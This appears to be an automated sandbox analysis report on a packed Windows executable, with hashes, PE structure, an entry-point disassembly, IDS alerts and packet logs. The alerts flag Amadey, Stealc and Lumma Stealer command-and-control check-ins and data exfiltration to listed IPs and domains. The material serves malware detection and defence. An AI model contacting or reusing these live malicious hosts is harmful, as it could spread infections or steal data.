Preview:	..........A.*.....cF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.f.c.9.e.0.a.a.a.b.7.\.d.e.f.n.u.r...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.56493217063802
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	random.exe.6.exe
File size:	2'964'992 bytes
MD5:	b6009d2baed73bc321b38ce9a13f875c
SHA1:	9759ef65ae6e3e50b9eaea5708babde594950014
SHA256:	cb304a468bb2bebd746c4bba2d3d8a78ba2877ac082191e409efc1c84a36354c
SHA512:	9f831efce03a9dd2c47547fd32d66256160937e687ab0e7d555f0f05e490e2283ca1333caea8ed0cdb90f2c6762ed53cf38c563cb8fe57463923ded5e876657e
SSDEEP:	49152:cUPK0E5y8r2i4fPnilRQkyuN+iBvVZ+DTKy:cKK0E88Si4HnilFFsKy
TLSH:	3BD53B92B40AB6CBE4AE2378A557CD826D5D43B9471008C7A87DB4FEBF63CC015B6D24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F62B8E6CDAAh
hint_nop dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sub byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30d3f0	0x10	trpkawkh
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30d3a0	0x18	trpkawkh
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	0ee7b6ff035df6b099bcdad5f0ca6e95	False	0.9973816416893733	data	7.984058071515904	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
trpkawkh	0x6b000	0x2a3000	0x2a2400	074b001036aa1886f797386d7f9a20e2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ytuuczdu	0x30e000	0x1000	0x400	51decb7e402e11597aaf2af182e18668	False	0.7890625	data	6.1497853310407855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30f000	0x3000	0x2200	79a421043603c304d558bd765f96a2c5	False	0.05744485294117647	DOS executable (COM)	0.6822325121961638	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T12:00:05.225437+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49902	185.215.113.16	80	TCP
2024-12-18T12:00:06.112240+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.6	49902	TCP
2024-12-18T12:00:06.433619+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49902	185.215.113.16	80	TCP
2024-12-18T12:00:09.472917+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49914	185.215.113.16	80	TCP
2024-12-18T12:00:09.914366+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49914	185.215.113.16	80	TCP
2024-12-18T12:00:13.465206+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:13.695607+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49925	185.215.113.16	80	TCP
2024-12-18T12:00:13.928408+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:14.239942+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.17	80	192.168.2.6	49913	TCP
2024-12-18T12:00:14.611102+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:15.125727+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.17	80	192.168.2.6	49913	TCP
2024-12-18T12:00:15.163131+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49930	185.215.113.36	80	TCP
2024-12-18T12:00:16.208298+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:17.166353+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:18.399756+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49937	104.21.23.76	443	TCP
2024-12-18T12:00:18.726313+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49938	185.215.113.16	80	TCP
2024-12-18T12:00:19.167171+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49938	185.215.113.16	80	TCP
2024-12-18T12:00:19.445077+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49937	104.21.23.76	443	TCP
2024-12-18T12:00:19.445077+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49937	104.21.23.76	443	TCP
2024-12-18T12:00:20.696042+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49944	104.21.23.76	443	TCP
2024-12-18T12:00:21.505596+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49944	104.21.23.76	443	TCP
2024-12-18T12:00:21.505596+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49944	104.21.23.76	443	TCP
2024-12-18T12:00:22.517562+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49950	185.215.113.16	80	TCP
2024-12-18T12:00:23.000118+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49950	185.215.113.16	80	TCP
2024-12-18T12:00:23.322903+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49953	104.21.23.76	443	TCP
2024-12-18T12:00:25.311464+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:26.090241+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49962	104.21.23.76	443	TCP
2024-12-18T12:00:27.006833+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:28.377509+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:29.368770+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:31.316713+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49978	104.21.23.76	443	TCP
2024-12-18T12:00:32.845430+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:33.359623+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49977	185.215.113.16	80	TCP
2024-12-18T12:00:33.796723+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49977	185.215.113.16	80	TCP
2024-12-18T12:00:33.954552+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49913	185.215.113.17	80	TCP
2024-12-18T12:00:37.208825+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49993	104.21.23.76	443	TCP
2024-12-18T12:00:43.456579+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49993	104.21.23.76	443	TCP
2024-12-18T12:00:46.806416+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50017	104.21.23.76	443	TCP
2024-12-18T12:00:52.831657+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50033	104.21.23.76	443	TCP
2024-12-18T12:00:53.568196+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50035	185.215.113.16	80	TCP
2024-12-18T12:00:54.012030+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50035	185.215.113.16	80	TCP
2024-12-18T12:00:58.103508+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50041	185.215.113.16	80	TCP
2024-12-18T12:00:58.563723+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50041	185.215.113.16	80	TCP
2024-12-18T12:01:02.461794+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.6	51179	1.1.1.1	53	UDP
2024-12-18T12:01:04.222225+0100	2058363	ET MALWARE Observed Win32/Lumma Stealer Related Domain (energyaffai .lat in TLS SNI)	1	192.168.2.6	50044	104.21.32.1	443	TCP
2024-12-18T12:01:04.222225+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50044	104.21.32.1	443	TCP
2024-12-18T12:01:05.830624+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50044	104.21.32.1	443	TCP
2024-12-18T12:01:05.830624+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50044	104.21.32.1	443	TCP
2024-12-18T12:01:06.270208+0100	2058363	ET MALWARE Observed Win32/Lumma Stealer Related Domain (energyaffai .lat in TLS SNI)	1	192.168.2.6	50048	104.21.32.1	443	TCP
2024-12-18T12:01:06.270208+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50048	104.21.32.1	443	TCP
2024-12-18T12:01:08.847105+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50056	185.215.113.16	80	TCP
2024-12-18T12:01:10.460353+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50060	185.215.113.16	80	TCP
2024-12-18T12:01:19.313439+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.6	61567	1.1.1.1	53	UDP
2024-12-18T12:01:19.313439+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.6	61567	1.1.1.1	53	UDP
2024-12-18T12:01:19.906756+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.6	55706	1.1.1.1	53	UDP
2024-12-18T12:01:19.906756+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.6	55706	1.1.1.1	53	UDP
2024-12-18T12:01:20.213701+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.6	52099	1.1.1.1	53	UDP
2024-12-18T12:01:20.213701+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.6	52099	1.1.1.1	53	UDP
2024-12-18T12:01:20.610636+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.6	59800	1.1.1.1	53	UDP
2024-12-18T12:01:20.610636+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.6	59800	1.1.1.1	53	UDP
2024-12-18T12:01:20.839874+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.6	59512	1.1.1.1	53	UDP
2024-12-18T12:01:20.839874+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.6	59512	1.1.1.1	53	UDP
2024-12-18T12:01:21.065005+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.6	55630	1.1.1.1	53	UDP
2024-12-18T12:01:21.065005+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.6	55630	1.1.1.1	53	UDP
2024-12-18T12:01:21.297886+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.6	53153	1.1.1.1	53	UDP
2024-12-18T12:01:21.297886+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.6	53153	1.1.1.1	53	UDP
2024-12-18T12:01:21.613550+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.6	53212	1.1.1.1	53	UDP
2024-12-18T12:01:21.613550+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.6	53212	1.1.1.1	53	UDP
2024-12-18T12:01:23.370510+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50068	23.55.153.106	443	TCP
2024-12-18T12:01:24.140985+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50068	23.55.153.106	443	TCP
2024-12-18T12:01:25.753340+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50071	172.67.157.254	443	TCP
2024-12-18T12:01:27.799073+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50071	172.67.157.254	443	TCP
2024-12-18T12:01:27.799073+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50071	172.67.157.254	443	TCP
2024-12-18T12:01:30.241158+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50078	172.67.157.254	443	TCP
2024-12-18T12:01:34.064326+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50078	172.67.157.254	443	TCP
2024-12-18T12:01:34.064326+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50078	172.67.157.254	443	TCP
2024-12-18T12:01:35.819215+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50083	172.67.157.254	443	TCP
2024-12-18T12:01:38.694560+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50087	172.67.157.254	443	TCP
2024-12-18T12:01:40.921866+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50087	172.67.157.254	443	TCP
2024-12-18T12:01:42.545922+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50090	172.67.157.254	443	TCP
2024-12-18T12:01:45.699325+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50094	172.67.157.254	443	TCP
2024-12-18T12:01:48.750293+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50095	172.67.157.254	443	TCP
2024-12-18T12:01:52.596115+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50099	172.67.157.254	443	TCP
2024-12-18T12:01:54.586888+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50099	172.67.157.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 12:00:03.765063047 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:03.884697914 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:03.884845018 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:03.885093927 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:04.004604101 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:05.225301981 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:05.225436926 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:05.227772951 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:05.347538948 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:05.990354061 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:05.990406990 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:05.990426064 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:05.990472078 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:05.992435932 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.112240076 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.433537960 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.433619022 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.433655024 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.433686972 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.433706045 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.433759928 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.433948040 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.433984041 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.434016943 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.434036970 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.434078932 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.434163094 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.434710026 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.434773922 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.441991091 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.442081928 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.442126036 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.442179918 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.450548887 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.450604916 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.450661898 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.450684071 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.563183069 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.563270092 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.563390017 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.563446045 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.624855995 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.624928951 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.624977112 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.624978065 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.628458977 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.628633022 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.629853964 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.629942894 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.630033970 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.630100012 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.637923956 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.639333010 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.639776945 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.639843941 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.645957947 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.646037102 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.646056890 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.646159887 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.653953075 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.654031992 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.654057980 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.654135942 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.661922932 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.662046909 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.662904024 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.662991047 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.670027971 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.670247078 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.670295000 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.670346975 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.678145885 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.678224087 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.678417921 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.678481102 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.685904980 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.685986042 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.686039925 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.686106920 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.693849087 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.694025040 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.694216013 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.694278955 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.701934099 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.702032089 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.702045918 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.702157021 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.754255056 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:06.754487038 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:06.754530907 CET	80	49902	185.215.113.16	192.168.2.6
